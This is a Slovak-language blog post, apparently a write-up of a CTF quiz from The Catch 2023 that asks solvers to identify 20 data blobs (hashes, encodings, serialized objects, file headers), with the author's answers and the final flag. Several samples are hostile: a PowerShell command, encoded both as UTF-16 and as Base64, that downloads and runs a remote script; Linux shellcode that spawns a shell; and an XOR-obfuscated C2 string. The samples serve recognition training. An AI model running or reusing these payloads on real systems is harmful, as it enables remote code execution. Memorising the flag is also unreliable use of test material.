24. 10. 2023

CTF - The Catch 2023 - Apha-Zulu Quiz

Prvá úloha do ktorej som sa pustil má názov Apha-Zulu quiz (mysleli alpha? ako vojenská abeceda). Je v sekcií pre drill posádky. Je to vlastne súbor otázok a 4 možností odpovedí. Nachádza sa na virtuálnej adrese http://quiz.cns-jv.tcc. 

Opýta sa 20 náhodných otázok "Čo je tento blok dát?". Očakávaný je teda prehľad vo výzore rôznych typoch dát.

Odpovede a moje zdôvodnenie som zahrnul z pravej strany malým písmom, pre prípadný záujem vyskúšať si to. Je všetko správne? Ťažko povedať, žiadny iný výstup okrem vlajky som sa nedozvedel.


Ahoy, officer

your task is to pass a test that is part of the crew drill. Because of your rank of third officer, you must lead the crew by example and pass the test without a single mistake.


úloha je za ( 3 body )

1. What's this blob ?

1609549323

  1. XOR obfuscated string
  2. Java Serialized data
  3. UTF-16 Little Endian encoded data
  4. UNIX timestamp

 (4)
obsahuje len číslice, z odpovedí sedí unixový čas (počet sekúnd od 1.1.1970) najviac

2. What's this blob ?

dGhpc2lzYXRlc3RzdHJpbmcx

  1. Base64 encoded data
  2.  GZip hex stream
  3.  Microsoft EVTX file signature
  4.  Wordpress hash

(1)
ako prvý pokus som vložil reťazec do cyberChef a dekódoval base64, úspešne

3. What's this blob ?

00000000  49 00 45 00 58 00 28 00 4e 00 65 00 77 00 2d 00  |I.E.X.(.N.e.w.-.|
00000010  4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00  |O.b.j.e.c.t. .N.|
00000020  65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00  |e.t...W.e.b.C.l.|
00000030  69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00  |i.e.n.t.)...d.o.|
00000040  77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00  |w.n.l.o.a.d.S.t.|
00000050  72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00  |r.i.n.g.(.'.h.t.|
00000060  74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00  |t.p.:././.1.0...|
00000070  31 00 30 00 2e 00 31 00 34 00 2e 00 33 00 31 00  |1.0...1.4...3.1.|
00000080  2f 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 70 00  |/.s.h.e.l.l...p.|
00000090  73 00 31 00 27 00 29 00                          |s.1.'.).|

  1. Microsoft EVTX file signature
  2. UNIX timestamp
  3. SHA1 sum
  4. UTF-16 Little Endian encoded data

(4)
unix timestamp aj sha1 sum sú krátke, evtx je log súbor event viewera a začína reťazcom "Elffile",
UTF16 je unicode zakódovaný do dvoch bajtov, teda je pre anglické znaky vždy doplnený 00 znakom

 4. What's this blob ?

O:8:"MyClass":2:{s:4:"name";s:9:"John Doe";s:3:"age";i:25;}

  1. PHP serialized object
  2. Microsoft EVTX file signature
  3. .NET ViewState value
  4. Linux x86 Shellcode

(1)
serializovaný objekt PHP má zápis využívajúci dvojbodky ako asociácie
a zložené zátvorky ako polia 

5. What's this blob ?

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th

  1. PHP serialized object
  2. Linux x86 Shellcode
  3. Microsoft Windows executable binary
  4. UTF-16 Little Endian encoded data

(3)
MZ je typická hlavička pre EXE formát už od čias MS-DOS
sú to iniciálky jedného z vývojárov

6. What's this blob ?

ORUGS43JONQXIZLTORZXI4TJNZTTC===

  1. Wordpress hash
  2. Microsoft EVTX file signature
  3. Base32 encoded data
  4. ZIP archive

(3)
rovná sa na konci vyzerajú ako base64, avšak tu nie sú použité malé písmená
32 znamená 32 použitých čitateľných znakov pre zakódovanie plných 8 bitov

7. What's this blob ?

202cb962ac59075b964b07152d234b70

  1. PHP serialized object
  2. MD5 sum
  3. XOR obfuscated string
  4. UNIX timestamp

(2, virustotal)
kde inde si overiť checksum ako vo virustotal

8. What's this blob ?

1f 8b 08 00 4f bd 80 64 00 ff 05 40 b1 09 00 30 0c 7a c5 d7 84 b8 45 5a 30 ef 0f 92 67 21 f4 5f 61 78 2c db 90 a9 3d 10 00 00 00

  1. UNIX timestamp
  2. JSON Web Token
  3. ELF binary
  4. GZip hex stream

(4)
1F 8B prezradil google ako súčasť 10bytovej hlavičky pre GZIP
dekompresia je možná aj pre stream dát, preto sa používa pri weboch

9. What's this blob ?

\x31\xc0\x50\x68\x2f\x2f\x53\x48\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

  1. ZIP archive
  2. SHA1 sum
  3. Linux x86 Shellcode
  4. XOR obfuscated string

 (3)
neprehľadné escape sekvencie možno dekódovať v cyberChef
v tomto prípade ide o čísla zo 16tkovej sústavy, funkcia from hex

10. What's this blob ?

00000000  41 4c 41 0c 51 47 50 54 47 50 0c 46 4d 4f 43 4b  |ALA.QGPTGP.FMOCK|
00000010  4c 0c 58 4b 52 18 16 16 11                       |L.XKR....|

  1. ELF binary
  2. Microsoft Windows executable binary
  3. Base32 encoded data
  4. XOR obfuscated string 

 (4)
pre binárky je tu priveľa čitateľných znakov, base32 neobsahuje nečitateľné znaky,
zostáva XOR, teda preklopenie niektorých bitov pre zamaskovanie pôvodnej informácie
v tomto prípade pri prepnutí 2 bitu dostaneme "CNC  SERVER  DOMAIN  ZIP"

11. What's this blob ?

/wEPDwULLTE2MTY2ODcyMjkPFgQeCFVzZXJOYW1lBQ5EYXNndXB0YSBTaHViaB4IUGFzc3dvcmQFDElBbUFQYXNzd29yZGRk2/xP37hKKE9jfGYYzFjLuwpi6rHlPdXhfSspF6YRZiI=

  1. PHP serialized object
  2. ZIP archive
  3. UNIX timestamp
  4. .NET ViewState value

(4)
po dekódovaní cez base64 vidieť login, heslo aj popisy políčok,
preto ide o viewState value ako hodnoty posielané do ASP.NET cez POST)

12. What's this blob ? 

rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAJ0ACFEOi93aW4zMmFwcC9hcGxpY2F0aW9uL2JpbmFyeS5leGV0AAktLXZlcnNpb24=

  1. Linux x86 Shellcode
  2. Base64 encoded data
  3. Java Serialized data
  4. UTF-16 Little Endian encoded data

 (3)
opäť base64 (rovná sa na konci) cez cyberChef odhalil obsah,
reťazec obsahuje java.lang.String 

13. What's this blob ? 

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4
AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuAD
EANAAuADMAMQAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=

  1. Encoded PowerShell command
  2. Microsoft Windows executable binary
  3. Linux x86 Shellcode
  4. UTF-16 Little Endian encoded data

 (1?)
cyberChef preložil ako IEX(New-Object Net.WebClient).downloadString),
ako vidieť ide o volanie funkcie z powershellu,
zároveň sú údaje po base64 dekódovaní v UTF-16 (ot.3), ťažko tak presne povedať

14. What's this blob ? 

ac ed 00 05 75 72 00 13 5b 4c 6a 61 76 61 2e 6c
61 6e 67 2e 53 74 72 69 6e 67 3b ad d2 56 e7 e9
1d 7b 47 02 00 00 78 70 00 00 00 02 74 00 21 44
3a 2f 77 69 6e 33 32 61 70 70 2f 61 70 6c 69 63
61 74 69 6f 6e 2f 62 69 6e 61 72 79 2e 65 78 65
74 00 09 2d 2d 76 65 72 73 69 6f 6e

  1. SHA1 sum
  2. ZIP archive
  3. GZip hex stream
  4. Java Serialized hex stream

(4)
google našiel na tejto peknej wiki o súborových hlavičkách

15. What's this blob ? 

0000000: 456c 6646 696c 6500 0000 0000 0000 0000  ElfFile.........
0000010: d300 0000 0000 0000 375e 0000 0000 0000  ........7^......

  1. Microsoft Windows executable binary
  2. Microsoft EVTX file signature
  3. XOR obfuscated string
  4. MD5 sum

(2)
Elffile je hlavička event viewer súbora (EVTX), ale detekuje ju napr aj cyberChef

16. What's this blob ?

$P$BlW9FsUwJM0142LDsjtDsPUBHPVPIf/

  1. Encoded PowerShell command
  2. Wordpress hash
  3. XOR obfuscated string
  4. Base64 encoded data

 (2)
stačilo google wordpress hash example $P$B...

17. What's this blob ?

40bd001563085fc35165329ea1ff5c5ecbdbbeef

  1. Encoded PowerShell command
  2. XOR obfuscated string
  3. SHA1 sum
  4. PHP serialized object

(3)
opäť práca pre virustotal

18. What's this blob ?

00000000  50 4b 03 04 14 00 00 00 08 00 39 9b c7 56 db 90  |PK........9.ÇVÛ.|
00000010  a9 3d 19 00 00 00 10 00 00 00 08 00 00 00 66 69  |©=............fi|
00000020  6c 65 2e 74 78 74 05 40 b1 09 00 30 0c 7a c5 d7  |le.txt.@±..0.zÅ×|
00000030  84 b8 45 5a 30 ef 0f 92 67 21 f4 5f 61 78 2c 50  |.¸EZ0ï..g!ô_ax,P|
00000040  4b 01 02 14 00 14 00 00 00 08 00 39 9b c7 56 db  |K..........9.ÇVÛ|
00000050  90 a9 3d 19 00 00 00 10 00 00 00 08 00 00 00 00  |.©=.............|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 66 69 6c  |.............fil|
00000070  65 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01  |e.txtPK.........|
00000080  00 36 00 00 00 3f 00 00 00 00 00                 |.6...?.....|

  1. PHP serialized object
  2. ZIP archive
  3. Java Serialized data
  4. Base64 encoded data

 (2)
PK je typická hlavička pre ZIP (pôvodne PKZIP)
opäť sú to iniciálky autora

19. What's this blob ?

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkRvZSBKb2huIiwiaWF0IjoxNTE2MjM5MDIyfQ.Aqma4g_FzStCaLSyvpRgKLNIgM4now17FXwSHsBlwag

(JSON web token, zistil magic v cyberchef)

20. What's this blob ?

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 7033 0000 0000 0000  ..>.....p3......
00000020: 4000 0000 0000 0000 f8b1 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0d00 4000 1e00 1d00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000  ................

  1. Base32 encoded data
  2. Microsoft EVTX file signature
  3. ELF binary
  4. XOR obfuscated string

 (3)
je to síce z reťazca jasné, ale overiteľné opäť na wiki

Congratulations, FLAG{QOn7-MdEo-9cuH-aP6X}

Žiadne komentáre:

Zverejnenie komentára